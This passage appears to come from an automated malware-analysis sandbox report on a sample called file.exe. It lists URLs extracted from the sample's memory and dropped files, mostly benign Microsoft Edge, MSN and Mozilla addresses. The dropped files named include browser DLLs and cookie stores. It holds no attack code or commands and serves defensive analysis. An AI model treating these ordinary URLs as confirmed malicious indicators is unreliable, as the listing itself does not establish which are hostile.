Source: file.exe, 00000000.00000003.1654149125.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, JDGIIDHJ.0.dr, Web Data.10.dr, HDGDGHCA.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 7a22f2a3-2aec-4726-8cdc-1e337a31a762.tmp.11.dr, 9e16ee97-2942-471e-b276-eb0ab7cad98b.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log6.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log6.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr, HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log6.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr, HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log6.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_470.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_470.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_470.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_470.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://gaana.com/
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: IIEBGIDAAFHIJJJJEGCG.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://m.kugou.com/
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://m.soundcloud.com/
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://m.vk.com/
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXIDv106a
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://music.amazon.com
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://music.apple.com
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log3.10.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.10.dr, 000003.log.10.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.10.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.10.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log9.10.dr, 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13377078214696418.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.10.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://open.spotify.com
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_470.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.com/
Source: EHCFBFBAEBKJKEBGCAEHCFCBAE.0.dr	String found in binary or memory: https://support.mozilla.org
Source: EHCFBFBAEBKJKEBGCAEHCFCBAE.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EHCFBFBAEBKJKEBGCAEHCFCBAE.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://tidal.com/
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
